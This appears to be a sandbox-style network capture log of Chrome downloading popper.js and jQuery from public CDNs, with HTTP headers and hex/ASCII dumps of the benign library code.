2024-04-26 15:29:47 UTC	627	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:47 UTC	978	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 15:29:47 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 788272 Expires: Wed, 16 Apr 2025 15:29:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BEBNB0GOCPfk4E0IutV%2FW9n4bw8aTuqCTXWbC5hrKLbCog%2FDdbvpThm6AZjvO6HaJiMiTcl6ZK0LQxeQnQGJcMViQyi%2FB%2Bv9bgI7TfQ25UTSb%2FEd%2BgA%2B1Al%2FulClm7%2Fwt%2F%2FMY5%2F1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87a79c3edb4c67c2-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 15:29:47 UTC	391	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 74 28 65 2c 74 29 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 Data Ascii: tion t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.b
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 Data Ascii: o]}function l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 74 57 69 64 74 68 2c 31 30 29 2c 68 3d 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e Data Ascii: tWidth,10),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 2e 72 69 67 68 74 2d 74 2e 72 69 67 68 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 Data Ascii: .right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(func
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 27 5d 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 Data Ascii: function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestr
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 Data Ascii: ventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEvent
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e Data Ascii: ){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a Data Ascii: (function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 Data Ascii: unction(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	151.101.194.137	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:47 UTC	602	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:47 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 26 Apr 2024 15:29:47 GMT Age: 284012 X-Served-By: cache-lga21963-LGA, cache-pdk-kfty2130051-PDK X-Cache: HIT, HIT X-Cache-Hits: 36, 1 X-Timer: S1714145387.324725,VS0,VE4 Vary: Accept-Encoding
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-04-26 15:29:47 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	151.101.194.137	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:47 UTC	586	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:47 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 26 Apr 2024 15:29:47 GMT Age: 3913452 X-Served-By: cache-lga21947-LGA, cache-pdk-kpdk1780077-PDK X-Cache: HIT, HIT X-Cache-Hits: 4941, 1 X-Timer: S1714145387.326263,VS0,VE1 Vary: Accept-Encoding
2024-04-26 15:29:47 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof 